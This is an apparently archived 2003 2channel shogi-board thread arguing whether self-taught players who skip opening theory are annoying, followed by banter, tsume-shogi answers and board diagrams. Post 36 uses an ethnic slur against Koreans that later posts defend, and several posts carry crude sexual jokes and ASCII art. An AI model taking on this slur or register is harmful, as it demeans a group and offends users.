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超自己流の奴ってむかつく

1 :名無し名人:03/01/23 23:34 ID:yOwIvO7g
超自己流の奴って強くても弱くてもむかつく。
普通、まじめな奴だったら何を始めるにも勉強するだろ。
それができない奴って人間として欠陥があるとしか思えん。

自分なりに工夫してる人は認めるが、最初から全て自己流ってのは
勉強嫌いの低学歴だろ?

2 :名無し名人:03/01/23 23:35 ID:2aumkA4H
むしろ才能があると思うんだが

3 :名無し名人:03/01/23 23:35 ID:IIDsx9j3
最初から自己流で強かったら相当頭いいだろ

4 :名無し名人:03/01/23 23:36 ID:+pfEmFp7
あやこんがこのすれねらってます

5 :名無し名人:03/01/23 23:37 ID:PzuDIpgH
>>1
何流だろうが、盤上には勝つか負けるかしかない。

お前より優れていれば勝ち、劣っていれば負けるだけ。

ムカつくもムカつかないもない。低脳っぷりを晒してるなよ。

6 :フサギコ ◆e51syuFUSA :03/01/23 23:37 ID:yn28Vc5L
はいはい

7 :名無し名人:03/01/23 23:37 ID:paP6gwVd
なんかおなじことの繰り返しでつまらんっていうやついるけど、人生ってそんなもんだろ。

8 :名無し名人:03/01/23 23:37 ID:yOwIvO7g
甘いな。
学問でも同じやり方してみろよ。
結果は明らかだろ。
たとえ才能があっても低学歴で終わるよ。

9 :フサギコ ◆e51syuFUSA :03/01/23 23:37 ID:yn28Vc5L
コンスレの悪寒

10 :名無し名人:03/01/23 23:38 ID:IIDsx9j3
おめえはシャア・アズナブルか

11 :名無し名人:03/01/23 23:39 ID:2aumkA4H
原始中飛車だけで全国大会逝った人いるけど

12 :1:03/01/23 23:44 ID:yOwIvO7g
>>11
原始中飛車・・・
確かに低俗戦法でも勝てるときはあるな。
俺自身も実験的に低俗戦法を指すことはある。
しかし、基本を知った上で実験的に指すのと、
最初から出鱈目なのでは大違い。
前者は科学的態度だが、後者は単なる下品。
理論が意味を成さず、ひたすら実践のみの分野なら成功しそうだが・・
やはり低学歴で終わるだろうな。

13 :名無し名人:03/01/23 23:47 ID:IIDsx9j3
1は関節的にフサギコへ忠告してんの?

14 :フサギコ ◆e51syuFUSA :03/01/24 00:05 ID:qzpUkF/s
>>13
さあ?とりあえずこのスレは削除されるまで大耳フサが管理します

(AA略)

15 :名無し名人:03/01/24 00:05 ID:Jet5ZDCo
     ∧_∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ( ´∀`)/<先生!こんなのがありました!
 _ / /   /   \___________
\⊂ノ ̄ ̄ ̄ ̄\
 ||\        \
 ||\|| ̄ ̄ ̄ ̄ ̄||
 ||  || ̄ ̄ ̄ ̄ ̄||
http://saitama.gasuki.com/mona/

16 :フサギコ ◆e51syuFUSA :03/01/24 00:11 ID:qzpUkF/s
自己流でもいいじゃん
俺からすれば定跡に頼る「しかない」奴は自分で考える事をしない馬鹿

17 :名無し名人:03/01/24 01:27 ID:3Tw8GPMR
学問と将棋は別物だし、いいんでない?
強い方が正しい。

18 :r:03/01/24 01:27 ID:YRMC5BvM
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19 :名無し名人:03/01/24 02:42 ID:ZiiyDWxs
原始が付いたら低俗になるのか?
低俗と言う奴が低俗。

20 :看寿 ◆D3eTSkIpqA :03/01/24 02:44 ID:GmZ51l3V
っつーか>>1は手将棋で負けてむかついてる予感

21 :名無し名人:03/01/24 02:45 ID:537+w0XP
さあ、このスレの削除理由はなににすれば(・∀・)イイ?

22 :名無し名人:03/01/24 02:45 ID:mleBKqBz
名スレの悪寒

23 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/24 02:46 ID:p74OJx4t
猥褻物陳列罪

24 :名無し名人:03/01/24 02:56 ID:+Wc9zyXV
低学歴低学歴って痛い>>1だな。

25 :名無し名人:03/01/24 02:57 ID:sEweQ4Jq
俺は序盤だけ上手くやられても終盤が下手で逆転すると
定跡で作戦勝ちしても読む力がないんだな、頭悪いなと
逆に思うよ。

26 :名無し名人:03/01/24 06:12 ID:XqzcGbWn
たまに序盤早々無茶苦茶なことやってきて、
駒損を全く気にしないでひたすら暴れるドキュソがいる。
さすがにあれはムカつくが・・・
そんな香具師にはめったに負けないが、
そういうタイプはまぐれ当たりで時々遥かに上級の香具師にも勝ったりするから困る。

27 :名無し名人:03/01/24 08:28 ID:1wT1xX1I
定跡にしばられずに我流の将棋で強いやつがうらやましい。
発想がすぐれたヤシの特権。

28 :名無し名人:03/01/24 09:37 ID:zx3DvuAn
何が困るのか分からない。


29 :名無し名人:03/01/24 19:06 ID:XqzcGbWn
>>28
問題点
1.先人の知恵を学べばほんの数分で分かることを全て自力ではっけんしなければならない。
2.コンスタントに勝てないからいずれ伸びが止まる。
3.そもそも、将棋ごときでまともに勉強できないような奴が、人生においてほかの事で頑張れるわけがない。

30 :29:03/01/24 19:10 ID:XqzcGbWn
問題点1の補足
「自力で発見しようとしているのだから偉いじゃないか」と思うならば大間違い。
単なる非効率。
そもそも、何かを本格的に趣味にしようとする場合、
常識をわきまえた人間なら、理論的な部分をしっかり学ぼうとするが、
その態度にかけていると言う点で、人間として欠陥がある。


31 :名無し名人:03/01/24 19:10 ID:Q6j046zh
>>26
そもそも、将棋ってまぐれあたりで勝てるものなのか?
単純に強い奴が勝つものだと思っていたのだが。

32 :名無し名人:03/01/24 19:13 ID:XqzcGbWn
>>31
上位者に勝ったことないの?
だとすると逆に珍しいよ。
俺はレートが若干開いてても勝てることあるけど。
相手が致命的なミスをすればね。
つーか、定跡知らないで指してる人って、たとえ強くても
珍妙なミスをすることがあるから。

33 :tierra:03/01/24 19:13 ID:318u6iXf
駒の動かし方無視しなければ何やってもいいじゃん

34 :居玉厨房:03/01/24 19:14 ID:5nY3laDI
実は厨房じゃないんだけど、ぼく結構高学歴だよ
将棋と勉強は別だよ、将棋はあまり根気づめないでやってるよ

35 :名無し名人:03/01/24 19:21 ID:9CW9HWfJ
解決点

1、アインシュタインは子供の頃自力でピタゴラスの定理を証明した。考える力がつく。

2、定跡を覚えたらどんどん強くなる。

3、将棋ごときは楽しめればそれでよし。

36 :フサギコ ◆e51syuFUSA :03/01/24 19:23 ID:qzpUkF/s
自分で考える事を放棄した生物はチョソ

37 :居玉厨房:03/01/24 19:24 ID:5nY3laDI
そろそろぼくの前スレ探そうかな

38 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/24 19:26 ID:p74OJx4t
1、ハマグリ君は中房の頃自力でピタゴラスの定理を証明した。
(゚∀゚)アーヒャヒャヒャヒャヒャアヒャーリ

39 :居玉厨房:03/01/24 19:26 ID:5nY3laDI
メモリアル記念だね♪
http://game.2ch.net/bgame/kako/1018/10189/1018941776.html

40 :フサギコ ◆e51syuFUSA :03/01/24 19:28 ID:qzpUkF/s
ちくしょーばか連動投稿規制なんか氏んじゃえええええええええええ

41 :フサギコ ◆e51syuFUSA :03/01/24 19:32 ID:qzpUkF/s
だいたい定跡が必要なのは定跡形だけであってさ、
一歩違えると全然役に立たないんだぞ?
定跡に含まれている細かい手筋とかは別だとしても
余計序盤の組み上げ形とかまで覚えるなら詰将棋なり実戦なり
やってた方が効率が良いと考えるのだが。
そこんとこはどうなの?

42 :フサギコ ◆e51syuFUSA :03/01/24 19:34 ID:qzpUkF/s
1000ゲットの醍醐味は連続書き込み!

43 :名無し名人:03/01/24 19:37 ID:XqzcGbWn
>>41
定跡は手筋の宝庫。
定跡で学んだ知識は定跡から外れても応用が利く。
「定跡が役に立たない」と主張する香具師はそこを見落としている。
定跡を学ぶことの最大の意味は、
小手先の技術を習得することよりもむしろ普遍的な知識を得ることにあると言える。

44 :居玉厨房:03/01/24 19:41 ID:5nY3laDI
勝手な思想の押し付けはあややレベルだよ

45 :ミキティ ◆jH3Q3bIrRM :03/01/24 19:42 ID:7m1IJGWY
勝負は手筋じゃないところできまる、
といってみるてすち

46 :フサギコ ◆e51syuFUSA :03/01/24 19:52 ID:qzpUkF/s
>>43
手筋の勉強だけしたいなら定跡じゃなくて手筋の勉強すりゃいいじゃん。
定跡は余計な最序盤の駒組みを覚えるのが余計だって言ってるのに。
どんな戦形であれ、有用な手筋を知り、組み合わせる事ができれば
定跡は覚えなくてもいいんでないの?

47 :ミキティ ◆jH3Q3bIrRM :03/01/24 19:57 ID:9CW9HWfJ
ようするにカニタマ逝ってよしって事ですね。

48 :ミキティ ◆jH3Q3bIrRM :03/01/24 20:01 ID:Y5jR0n5h
35=47

49 :あぼーん:あぼーん
あぼーん

50 :名無し名人:03/01/24 20:18 ID:Ur7t0h7I
>>36
フサギコくん、おまえさ、意味わかってこういうこと書いているの?
親の金で倶楽部24と2ちゃんに入り浸るのもいいけど、あまり他人
見下すようなこと書くのはいい加減やめたほうがいいよ。大多数のひ
とは、納税しているだけでも、おまえの見下すひとの方がおまえより
マシと思っているのだからね。

51 :フサギコ ◆e51syuFUSA :03/01/24 20:22 ID:qzpUkF/s
>>50
おまえは大多数の人間が自分で考える事を放棄していると思ってるのか?
少なくとも働いて納税している奴はある程度自分で考え駒を動かしていると思うが。
>>36は全てを定跡任せで本当に何も考えてない奴と言う意味だったんだがな。

52 :フサギコ ◆e51syuFUSA :03/01/24 20:24 ID:qzpUkF/s
miya荒らしとかあややは本当に何も考えてなさそうだ…

53 :名無し名人:03/01/24 20:26 ID:XqzcGbWn
>>46
それで済めばプロは研究しねーよ、カス。
定跡研究ってのは覚えるだけじゃなく改良することも含まれる。
ただし、最初から定跡知識ゼロじゃ研究の使用もないがな。

54 :フサギコ ◆e51syuFUSA :03/01/24 20:28 ID:qzpUkF/s
>>53
プロならともかくアマチュアの大半は定跡に手加えても
改善改良どころか欠陥だらけの改悪になること必至だぞ。
研究はプロの仕事だと思う。

55 :フサギコ ◆e51syuFUSA :03/01/24 20:36 ID:qzpUkF/s
将棋に割ける時間の限られてるアマチュアは時間のかかる
手筋研究よりも実戦とか詰将棋、問題集でもやってた方がいいんじゃないか?
プロとアマの存在意義はその辺が違うだろう、と思う。
アマは基本的に趣味なんだから何やっても良い。

56 :名無し名人:03/01/24 20:42 ID:Ur7t0h7I
>>51
ふむ、やはり理解できていなかったようだな。
きみが>>36で書いた
>チョソ
の意味はわかっているのかな?釘指しておくけ
ど、おまえがそうだからだろ、みたいなことは
書かないでね。



57 :名無し名人:03/01/24 20:42 ID:V7/fGGAv
序盤が適当でも勝てる人は、
中・終盤の勉強をしてるんだろ。
勉強法が違うだけ。

58 :フサギコ ◆e51syuFUSA :03/01/24 20:47 ID:qzpUkF/s
>>56
朝(略)人だっけ?
どうでもいいけどおまえ改行おかしいぞw
縦読みしてしまう。

59 :名無し名人:03/01/24 20:47 ID:zLzAPfrJ
2ちゃんねるでチョソっていっても別に・・・

ここは2ちゃんねるだぜ?

60 :フサギコ ◆e51syuFUSA :03/01/24 20:50 ID:qzpUkF/s
>>59
まぁ2chでも物事をそのまま受け取ってしまう奴はいるわけで

61 :フサギコ ◆e51syuFUSA :03/01/24 20:50 ID:qzpUkF/s
2ちょそねる

62 :名無し名人:03/01/24 20:51 ID:3Yl1Wbm4
チョソに過剰反応しすぎ。 要するに56=チョソってことでいいですか?

63 :フサギコ ◆e51syuFUSA :03/01/24 20:54 ID:qzpUkF/s
50=56は2chの事を余り知らない連盟関係者
とか言ってみるテスト
俺にくん付けしたヤシなんて大桑以来だなぁ

64 :名無し名人:03/01/24 20:59 ID:V7/fGGAv
ま、確かに2chでは、この種の言葉は当たり前だよな。
ただ、皆も同じようなことを書いているからと言って、
何の疑問も感じずに追従する奴は、
それこそ思考停止としか言えないわけだが。

65 :ミキティ ◆jH3Q3bIrRM :03/01/24 21:01 ID:9CW9HWfJ
にちゃんと一般社会をわけるなよ。
ばか。

66 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/24 21:02 ID:p74OJx4t
フサギコちゃん

67 :名無し名人:03/01/24 21:03 ID:3Yl1Wbm4
>>64
君のいうとおりだ!

68 :フサギコ ◆e51syuFUSA :03/01/24 21:04 ID:qzpUkF/s
まぁ2chなんて思考停止した奴の書き込むところだからな。
考えて書き込むなら別のところ逝ったらと思わないでもない。
俺も半分以上垂れ流しだしなー

69 :フサギコ ◆e51syuFUSA :03/01/24 21:04 ID:qzpUkF/s
こうしてみるとあっという間に何人も釣れるあややってすごいな

70 :ミキティ ◆jH3Q3bIrRM :03/01/24 21:07 ID:Y5jR0n5h
ふさぎこさんのあやや意外の煽り合いをひさびさにみました。
うれしい

71 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/24 21:08 ID:p74OJx4t
ベビーなんたらとかも釣ってるし釣りやすい板なんだろうね。

72 :名無し名人:03/01/24 21:11 ID:jIQ6n6Pe
>>65
2ちゃんねる独自の慣習があるということ。
ケコーン汁!とか2ちゃんねる以外では言えないだろ。

73 :名無し名人:03/01/25 06:30 ID:s/mGsvFh
>>29
それで何が困るの。


74 :フサギコ ◆e51syuFUSA :03/01/25 20:36 ID:cIILEMz+
いい具合にもぐってまいりました

75 :フサギコ ◆e51syuFUSA :03/01/25 20:40 ID:cIILEMz+
とは言った物の書く事がありません。
成績をつけるのも蛤の二番煎じだし。
本にも載ったし板の有名コテハンとして何か1つ
独自のシステムをやらないとなぁ…
さて、何にしようか?
想像力貧困鬱だ氏のう。

76 :フサギコ ◆e51syuFUSA :03/01/25 21:06 ID:cIILEMz+
近将の関定跡見たけど居飛車勝ちにくいのではないか?


77 :フサギコ ◆e51syuFUSA :03/01/25 23:23 ID:cIILEMz+
995 名前:フサギコ ◆e51syuFUSA 投稿日:03/01/25 23:21 ID:cIILEMz+
1000ちゃん


996 名前:ミキティ ◆jH3Q3bIrRM 投稿日:03/01/25 23:21 ID:FprJli6c
1000


997 名前:名無し名人 投稿日:03/01/25 23:21 ID:epQoVB6P
1000崎学が1000ゲット!


998 名前:名無し名人 投稿日:03/01/25 23:21 ID:o1MPLbM9
1000崎学が1000ゲット!


999 名前:名無し名人 投稿日:03/01/25 23:21 ID:2S5oURFD
miya


1000 名前:フサギコ ◆e51syuFUSA 投稿日:03/01/25 23:21 ID:cIILEMz+
1000ちゃんA級ゲット


1001 名前:1001 投稿日:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。



78 :フサギコ ◆e51syuFUSA :03/01/25 23:35 ID:cIILEMz+
さて、詰将棋解くか。

11 22飛同金21銀不成
12 12金同飛32桂成
13 23竜同角25金
14 37馬同と28馬
15 38飛16玉18飛
16 45銀同桂32飛成
17 34竜36玉24銀
18 24竜同馬22銀
19 27金打18玉34角
20 27竜同馬15飛で金余り

79 :フサギコ ◆e51syuFUSA :03/01/25 23:38 ID:cIILEMz+
提供は蛤君でした
http://hamagurian.hp.infoseek.co.jp/lettuce.html

80 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/25 23:46 ID:YFgJ9pOf
ハッケソ!

81 :フサギコ ◆e51syuFUSA :03/01/25 23:47 ID:cIILEMz+
ハッケソされますた

82 :フサギコ ◆e51syuFUSA :03/01/26 00:26 ID:02FK4uTk
21 名前:miya本人です ^^; 投稿日:03/01/25 13:54 ID:mE6BW41g
掲示板、荒らした奴がいる♪
IP抜かれた奴がいる♪
焦ることないさ♪
焦ることないさ♪
あしたも2ちゃんねる♪

連続コピペはうざすぎる♪
厨房、ドキュソが多すぎる♪
煽ることないさ♪
煽ることないさ♪
あしたも2ちゃんねる♪

き○がいの巣窟、2ちゃんねる♪
朝から晩まで、逝ってよし♪
鬱だ氏のう♪
鬱だ氏のう♪
あしたも2ちゃんねる♪

ある日突然考えた
俺はどうしてここにいるんだろう?
スレッドのため?
ひろゆきのため?
どれも無用だぜ〜♪


これが気に入った

83 :名無し名人:03/01/26 14:47 ID:y6rZrrZH
>>75
浮雲の第一人者を目指せ!w
http://game.2ch.net/test/read.cgi/bgame/1030374763/l50

84 :フサギコ ◆e51syuFUSA :03/01/27 00:28 ID:Jm1Qi06P
浮雲か…いまいちっぽい。
どうも一箇所に固まる陣形は好きになれないなぁ。

85 :フサギコ ◆e51syuFUSA :03/01/27 21:25 ID:Jm1Qi06P
中飛車に対してはどう対応していいやら全くわからん…
普通に指すと中央の圧力で自然と作戦負けになるし。
いろいろ手を工夫してみてもやはり難しい。

結論;中飛車はずるい

86 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/28 00:09 ID:juPy/jyX
超チンコ流

87 :フサギコ ◆e51syuFUSA :03/01/28 01:05 ID:uyyAdKHg
>>86
後手の持駒:なし
9 8 7 6 5 4 3 2 1
+---------------------------+
|v香v飛 ・ ・ ・ ・ ・v桂v香|一
| ・ ・v玉v金 ・ ・v金 ・ ・|二
| ・ ・v桂v銀v歩v銀v角v歩 ・|三
|v歩v歩v歩v歩 ・v歩v歩 ・v歩|四
| ・ ・ ・ ・ 歩 ・ ・ ・ ・|五
| 歩 ・ 歩 歩 飛 歩 歩 歩 歩|六
| ・ 歩 桂 銀 角 銀 桂 ・ ・|七
| ・ ・ 金 ・ 玉 ・ 金 ・ ・|八
| 香 ・ ・ ・ ・ ・ ・ ・ 香|九
+---------------------------+
先手の持駒:なし
手数=0 まで

こんな感じか?

88 :フサギコ ◆e51syuFUSA :03/01/28 01:07 ID:uyyAdKHg
後手の持駒:なし
9 8 7 6 5 4 3 2 1
+---------------------------+
|v香v飛 ・ ・ ・ ・ ・v桂v香|一
| ・ ・v玉v金 ・ ・v金 ・ ・|二
| ・ ・v桂v銀v歩v銀v角v歩 ・|三
|v歩v歩v歩v歩 ・v歩v歩 ・v歩|四
| ・ ・ ・ ・ 歩 ・ ・ ・ ・|五
| 歩 ・ 歩 歩 飛 歩 歩 歩 歩|六
| ・ 歩 桂 銀 角 銀 桂 ・ ・|七
| ・ ・ 金 ・ 玉 ・ 金 ・ ・|八
| 香 ・ ・ ・ ・ ・ ・ ・ 香|九
+---------------------------+
先手の持駒:なし
手数=0 まで

実戦形に…

89 :フサギコ ◆e51syuFUSA :03/01/28 01:08 ID:uyyAdKHg
後手の持駒:なし
9 8 7 6 5 4 3 2 1
+---------------------------+
|v香v飛 ・ ・ ・ ・ ・v桂v香|一
| ・ ・v玉v金 ・ ・v金 ・ ・|二
| ・ ・v桂v銀v歩v銀v角v歩 ・|三
|v歩v歩v歩v歩 ・v歩v歩 ・v歩|四
| ・ ・ ・ ・ 歩 ・ ・ ・ ・|五
| 歩 ・ 歩 歩 銀 銀 歩 歩 歩|六
| ・ 歩 角 金 玉 金 桂 ・ ・|七
| ・ ・ ・ ・ 飛 ・ ・ ・ ・|八
| 香 桂 ・ ・ ・ ・ ・ ・ 香|九
+---------------------------+
先手の持駒:歩 
手数=0 まで

間違えたこっちね

90 :フサギコ ◆e51syuFUSA :03/01/28 01:10 ID:uyyAdKHg
後手の持駒:飛 角 金二 銀二 桂二 香二 歩九 
9 8 7 6 5 4 3 2 1
+---------------------------+
| ・ ・ ・ ・ ・ ・ ・ ・ ・|一
| ・ ・ ・ ・ ・ ・ ・ ・ ・|二
| ・ ・ ・ ・ ・ ・ ・ ・ ・|三
| ・ ・ ・ ・ 歩 ・ ・ ・ ・|四
| ・ ・ ・ 歩 角 歩 ・ ・ ・|五
| ・ ・ 歩 銀 飛 銀 歩 ・ ・|六
| 歩 歩 桂 金 玉 金 桂 歩 歩|七
| ・ ・ ・ ・ ・ ・ ・ ・ ・|八
| 香 ・ ・ ・ ・ ・ ・ ・ 香|九
+---------------------------+
先手の持駒:なし
手数=0 まで


理想形

91 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/28 02:49 ID:juPy/jyX
>>90
ハゲツクワラタw

>>86
の超チンコ流は超自己流に似てるなぁと。。。

92 :フサギコ ◆e51syuFUSA :03/01/29 00:15 ID:QT3GcbXU
ちんこー

93 :ハマグリ君 ◆ZLTUaz4ne2 :03/01/29 04:59 ID:2nw4IAg8
超チンコ流の奴ってむかつく

94 :フサギコ ◆e51syuFUSA :03/01/30 04:34 ID:K3P3ujk7
1日1ふさたん

95 :フサギコ ◆e51syuFUSA :03/02/01 09:18 ID:0FL40xOV
水面下のスレ

96 :フサギコ ◆e51syuFUSA :03/02/02 04:47 ID:zBwJCb8o
1日1ふさたんたん
てーかやることねー

97 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/02 15:00 ID:N+kztdZG
1月31日がないくさい

98 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/03 10:05 ID:gSBbfZ+/
1日1ハマグリ

99 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/03 11:16 ID:gSBbfZ+/
ちょっくら出かけてくる。
さみしいからって泣くなよ。

100 :名無し名人:03/02/03 21:57 ID:y2Hi0Y5S
(TдT;)アゥゥ

101 :名無し名人:03/02/04 17:18 ID:uGRGx6Jw
゚(゚´Д`゚)゚。

102 :フサギコ ◆e51syuFUSA :03/02/04 19:33 ID:8ryPNo8/
ハマグリが居ないくらいでは泣かないのが俺

103 :フサギコ ◆e51syuFUSA :03/02/04 22:13 ID:8ryPNo8/
スーパーチンコトルネード

104 :名無し名人:03/02/05 11:00 ID:UmqcOAyd
miyaあげ

105 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/05 16:09 ID:rAaqbvNZ
たろいも

106 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/06 19:09 ID:ESUf06SP
フサがいない日。
プライスレス

107 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/07 01:38 ID:6r1b31v/
フサが居ない。
明日会えるといいな。

108 :フサギコ ◆e51syuFUSA :03/02/07 17:28 ID:cHfTEjX9
ミ,,゚Д゚彡ノ ぃょぅ

109 :フサギコ ◆e51syuFUSA :03/02/07 17:39 ID:cHfTEjX9
俺が1000取ろうとすると変なエラーでます

110 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/07 18:57 ID:6r1b31v/
今日居なかったぞ。
ティエラもどれだかわからなかった。

111 :フサギコ ◆e51syuFUSA :03/02/07 19:20 ID:cHfTEjX9
居るって。

112 :名無し名人:03/02/08 21:20 ID:67IWV+th
馴れ合い(;゚∀゚)=3ハァハァ!!

113 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/09 00:00 ID:51l894Gq
フサフサ

114 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/09 00:00 ID:51l894Gq
IDカコイイ 

115 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/09 14:00 ID:51l894Gq
フサがいない(´・ω・`)

116 :フサギコ ◆e51syuFUSA :03/02/09 19:43 ID:7UZ6QvcM
居ますよミ ̄ー ̄彡ニヤリッ

117 :フサギコ ◆e51syuFUSA :03/02/10 00:45 ID:D+XGmAHf
すまねぇハマグリ、ここしかなかったんだ

118 :フサギコ ◆e51syuFUSA :03/02/10 01:19 ID:D+XGmAHf
999 名前:名無し名人 :03/02/10 01:19 ID:D+XGmAHf
1000


1000 名前:名無し名人 :03/02/10 01:19 ID:i+ee3IrI

1001


ヽ(`Д´)ノ 

119 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/10 11:13 ID:hFCm3KQo
>>117-118
どんまお

120 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/11 00:33 ID:vFSu+kau
フサのおめめは大丈夫なの?

121 :フサギコ ◆e51syuFUSA :03/02/11 00:58 ID:0EisIjKU
下のおめ○が大変な事に

122 :フサギコ ◆e51syuFUSA :03/02/11 14:07 ID:0EisIjKU
暫く2chからも消える。
ここは名無し名人で保守するくらいかな。

123 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/11 14:17 ID:vFSu+kau
(´Д⊂ヽウワーン

124 :名無し名人:03/02/11 14:19 ID:0EisIjKU
嫌な事が続いてるからね

125 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/11 14:22 ID:vFSu+kau
そうかぁ〜。。。
なんにしてもやりたいことをやって時間がたつのを忘れるくらい夢中になって
楽しい思い出を作ってくらはい。

126 :名無し名人:03/02/11 14:28 ID:0EisIjKU
24で将棋してるだけだけどね

127 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/11 15:54 ID:vFSu+kau
今のところフサと思われる人とは指してないポ
15分だから絶対に指さないかもねw

128 :名無し名人:03/02/11 16:53 ID:0EisIjKU
んじゃ絶対に指さんわな

129 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/11 22:22 ID:vFSu+kau
http://game.2ch.net/test/read.cgi/bgame/1044950149/2n
http://game.2ch.net/test/read.cgi/bgame/1044968847/2-3n
http://game.2ch.net/test/read.cgi/bgame/1044965246/57n
http://game.2ch.net/test/read.cgi/bgame/1044965246/59n
http://game.2ch.net/test/read.cgi/bgame/1038855335/578n

(゚∀゚)アヒャ・・・

130 :名無し名人:03/02/11 22:40 ID:0EisIjKU
何やってんの

131 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/12 00:12 ID:PSpqSR+c
粘着しちゃった。。。
ゴメソ。

132 :名無し名人:03/02/12 06:38 ID:qS7N21tq
z-aborn

133 :名無し名人:03/02/12 21:23 ID:qS7N21tq
under

134 :名無し名人:03/02/12 21:52 ID:qS7N21tq
    /ノ 0ヽ
   _|___|_      
   ヽ( # ゚Д゚)ノ   下がってろウジ虫ども! 。
     | 个 |      訓練教官のハートマン先任軍曹が134をgetする!
    ノ| ̄ ̄ヽ
     ∪⌒∪

>>135 貴様!俺の海兵隊をどうするつもりだ!
>>136 口でクソたれる前と後に「サー」と言え!
>>137 ふざけるな!大声だせ!タマ落としたか!
>>138 貴様には両生動物のクソをかき集めた値打ちしかない!
>>139 アカの手先のおフェラ豚め!
>>140 まるでそびえ立つクソだ!
>>141 タマ切り取ってグズの家系を絶ってやる!
>>142 じじいのファックの方がまだ気合いが入ってる! 
>>143 ベトナムに行く前に戦争が終わっちまうぞ、アホ!

135 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/12 22:59 ID:PSpqSR+c
187 名前:名無し名人 投稿日:2003/02/12(水) 22:34 ID:qS7N21tq
めぐたん指そうよ当方四段ですが


また粘着しちゃったぜ。
激励メールくれよな あは^^;
hamagurikun@hotmail.com

136 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/14 00:42 ID:UutQvHPg
>>134
サー

137 :名無し名人:03/02/14 01:03 ID:7eXbCnQl
>>134
うおおおおおおおおおおおおおおおあああああああああ!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!

138 :名無し名人:03/02/14 17:16 ID:7eXbCnQl
>>134
| ゜Θ゜)< そうでもないよ

139 :名無し名人:03/02/14 20:54 ID:7eXbCnQl
>>134
+hamaguri+ > フサギコのチンコが舐めたい

140 :名無し名人:03/02/14 21:23 ID:7eXbCnQl
ヽ  / ─ 十  / 十  /
フ /U ー  'コ /U 'コ /U
       人
      (__)
    \(__)/ 
     ( ・∀・ )
     / ω \ 

141 :名無し名人:03/02/15 11:34 ID:gH+mwXwg
おいおい一人で書き込んでるとアホみたいじゃねぇか

142 :名無し名人:03/02/15 11:34 ID:gH+mwXwg
俺は自慰レスは苦手なのだよ

143 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/15 15:44 ID:5E/imPoy
ネタがないじゃん。

つーか、書くことないなら落ちない程度に保守すればいいんじゃない?

なんか、俺もフサも2ちゃん入り浸りだな。
まぁ、俺は今日から5つのスレしか見ないけどねん。

144 :名無し名人:03/02/15 16:06 ID:gH+mwXwg
極度に書く事が無い
なにすりゃいいんだ

145 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/15 19:09 ID:5E/imPoy
書かなきゃいいって言うか2ちゃんに来なきゃいいじゃん。
つーか、やめるんじゃなかったの?

146 :名無し名人:03/02/16 02:49 ID:hjpp7Etj
竜王戦登録sage

>>145
でもスレが落ちるのは嫌なんだよね

147 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/16 16:17 ID:Yqg7zNvK
>>146
3日に1回書いてりゃおちないと思うよ。

つーか、最近調子どうよ。
ちったぁRあがった?

148 :名無し名人:03/02/16 17:41 ID:hjpp7Etj
>>147
ん、そういうもんか?
基本的にage型だからsageスレはいつ落ちるか怖い。

Rは…まぁまぁ。

149 :名無し名人:03/02/17 12:10 ID:gP7hAOxH
初手9八香を試してみた。
勝ちにくい作戦だが、たまには勝てる。
相手はさぞ悔しいだろうね。
懸命に勉強し、高級な将棋を指してるつもりなのに
ふざけた初手を指す俺みたいなカスに負けるんだから。

150 :名無し名人:03/02/17 12:50 ID:GGYHjySL
>>1
浮雲を体感してみませんか?

151 :名無し名人:03/02/17 13:54 ID:6gyTQLAy
ふさたんがんば。
名無しでふさぎこファンはたくさんいると思うよ。
恥ずかしいからいわないだけで。
だからおれらのためにもにちゃんやめないでくれ。

152 :名無し名人:03/02/18 07:41 ID:YdAkBal1
http://pc2.2ch.net/test/read.cgi/tech/1045476912/l50

153 :名無し名人:03/02/18 16:00 ID:brlPJ4+f
         /VVVVVVVVVVVVVVVVVVVVVVVVVVN\
( `・ω・´)∩ ムスコビ━━━━━━━━━━━━━━ム  >εε=ヽ( `Д´)ノ ウワァァァァン
      ⊃  VVVVVVVVVVVVVVVVVVVVVVVVVVVN/

                                 人人人人人
( `・ω・´) ニヤニヤ                      ≪ヽ( `Д´)ノ ≫ ビリビリ
                                 ^Y^Y^Y^Y^Y

( `・ω・´)∩ボッキーン                       ∩(`・ω・´ )ボッキーン
───────────────────────────────
  _( `・ω・´ )_<ゴルゴのムスコは世界一ィィィィィ!
⊂) (ニ 。  。 ) (⊃
  l  }、  ,{ T´
 ノ_/. `っ' l_ゝ ←13cm
   (__)ω(__)


154 :名無し名人:03/02/18 16:01 ID:brlPJ4+f
    ∧_∧
  _( `・ω・´)_<くらえィィィィ、1日間に2億発のムスコのムスコォォ!!
⊂) (ニ 。  。 ) (⊃
  l  }、  ,{ T´ ∴∴∴∴∴∴∴∴∴∴∴∴∴∴┃ ∧,,∧,,,,,,,,,,,,,,,   <フサフサシールド!
